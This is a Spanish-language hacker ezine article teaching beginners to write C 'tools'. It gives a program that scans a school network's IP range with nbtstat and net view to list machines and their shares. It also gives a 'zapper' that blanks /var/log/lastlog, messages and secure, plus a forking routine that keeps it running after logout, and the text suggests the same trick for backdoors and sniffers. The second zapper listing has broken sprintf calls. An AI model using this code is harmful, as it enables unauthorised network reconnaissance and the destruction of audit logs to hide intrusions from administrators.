0x0C: Programacion de Herramientas en C
Este texto esta orientado a aquellos que no tengan tan buena base en C para que puedan crear sus propias herramientas de forma facil y rapida en los casos mas insolitos.
Para empezar veamos el ejemplo tipico, cuando estamos aburridos en nuestro colegio o universidad, la mayoria de los computadores son Win y comparten cosas por netbios. Como saber de quien es cada PC y como ver que comparte cada uno y todo eso. Empezemos de la manera mas facil en el caso de Win, nuestra herramienta sera el TurboC, basta con la version para DOS, si es para Win, mejor.
Analizemos lo basico:
(Si no entiendes algo de los comandos, lee el articulo sobre netbios que escribi en este mismo ezine)
Primero debemos saber el rango de ip, un ejemplo de la vida real (mi colegio) seria 130.0.0.0 con una mascara de red 255.255.255.0 asique va de 130.0.0.1 a 130.0.0.254 y aunque no lo crean hay tantos PCs, yo tampoco lo creia hasta que revise bien la red.Bueno ya sabemos el rango manos a la obra.
Lo que nos gustaria saber de cada PC
nbtstat -a IP
net view \\IP
Nada mas creo, otra cosa la agregas tu.
Empezemos, tenemos dos opciones, un exe que cree un bat para ejecutar todo esto o que el mismo programa lo ejecute. Hagamos la primera, son muy parecidas.
1) Que cree el bat.
-----------------------------------------------------------------------
#include <stdio.h>
main()
{
int x;
printf("echo Scanner por z0rbas > info.txt");
for(x=1;x<255;x++)
{
printf("echo - >> info.txt");
printf("echo Escaniando 130.0.0.%d >> info.txt",x);
printf("nbtstat -a 130.0.0.%d >> info.txt",x);
printf("net view \\\\130.0.0.%d >> info.txt",x);
printf("echo - >> info.txt");
printf("echo - >> info.txt");
}
}
------------------------------------------------------------------------
ahora lo compilamos y tenemos scan.exe, lo corremos asi:
C:\TC\BIN> scan > scan.bat
C:\TC\BIN> scan.bat
Toda la informacion queda en el archivo info.txt
Esto es un ejemplo muy basico, pero dejemos el windows de lado y empezemos con linux.
Primero las funciones importantes:
system()
Esta esta en DOS en la libreria process.h y en linux no es necesario incluirla. Esta funcion se usa asi:
system("dir");
o por ejemplo
char * comando="dir";
system(comando);
sprintf()
Esta funcion incluida en stdio.h es una funcion muy util si la combinamos con la funcion de arriba.
sprintf(char * destino,"%s %d y todo lo demas de printf",string,int);
Esto es solo la introduccion, pronto haremos el ejemplo.
OK, hagamos un pequeño zapper (solo pondre 3 ficheros de log, es solo un ejemplo)
-------------------------------------------------------------------------
#include <stdio.h>
main()
{
/* creamos las variables */
char comando[80];
/* Esto es el principio del comando para dejar los logs en cero */
char * inicio="echo \"\" > ";
/* borramos /var/log/lastlog */
sprintf(comando,"%s /var/log/lastlog",inicio);
system(comando);
/* borramos /var/log/messages */
sprintf(comando,"%s /var/log/messages",inicio);
system(comando);
/* borramos /var/log/secure */
sprintf(comando,"%s /var/log/secure",inicio);
system(comando);
}
-------------------------------------------------------------------------
Ese es nuestro pequeño zapper, la parte mas complicada es cuando queremos que por ejemplo nuestra utilidad siga corriendo siempre. Para eso puedes usar la siguiente funcion que he creado:
#include <signal.h>
sigue(int rato)
{
int x;
int separacion;
setpgrp();
signal(SIGHUP, SIG_IGN);
separacion=fork();
if(separacion==0)
{
for(x=1;x<=rato;x++)
{
sleep(60);
}
return 0;
}
exit(0);
}
Usemos esa funcion:
para usarla haces esto:
sigue(tiempo a dormir en minutos);
Ejemplo: el mismo zapper, pero que repita el borrado luego de 5 minutos:
-------------------------------------------------------------------------
#include <stdio.h>
#include <signal.h>
sigue(int rato)
{
int x;
int separacion;
setpgrp();
signal(SIGHUP, SIG_IGN);
separacion=fork();
if(separacion==0)
{
for(x=1;x<=rato;x++)
{
sleep(60);
}
return 0;
}
exit(0);
}
main()
{
/* creamos las variables */
char comando[80];
/* Esto es el principio del comando para dejar los logs en cero */
char * inicio="echo \"\" > ";
sigue(5);
/* borramos /var/log/lastlog */
sprintf(comando,"%s /var/log/lastlog");
system(comando);
/* borramos /var/log/messages */
sprintf(comando,"%s /var/log/messages");
system(comando);
/* borramos /var/log/secure */
sprintf(comando,"%s /var/log/secure");
system(comando);
}
-----------------------------------------------------------------------
Este programa se quedara corriendo en background 5 minutos hasta borrar los logs, si tu te desconectas del servidor, sigue igual. Esa es la ventaja, ya que si programas un backdoor o un sniffer, puedes dejarlo corriendo.
Para el proximo prometo un tutorial de Sockets en C para ampliar esta seccion tambien y comenzar con mejores utilidades. Claro que con ingenio basta esto para hacer utilidades muy poderosas. Solo basta moverte un poco con el lenguaje C y saber esas funciones que recalque arriba, para poder hacer cosas que te puedem servir bastante, aunque no creas que con eso basta, hay que seguir aprendiendo porque la verdad es que esto solo te sirve para crear bastante utilidades, pero de una manera simple, y por lo tanto no tan flexible.
Saludos
z0rbas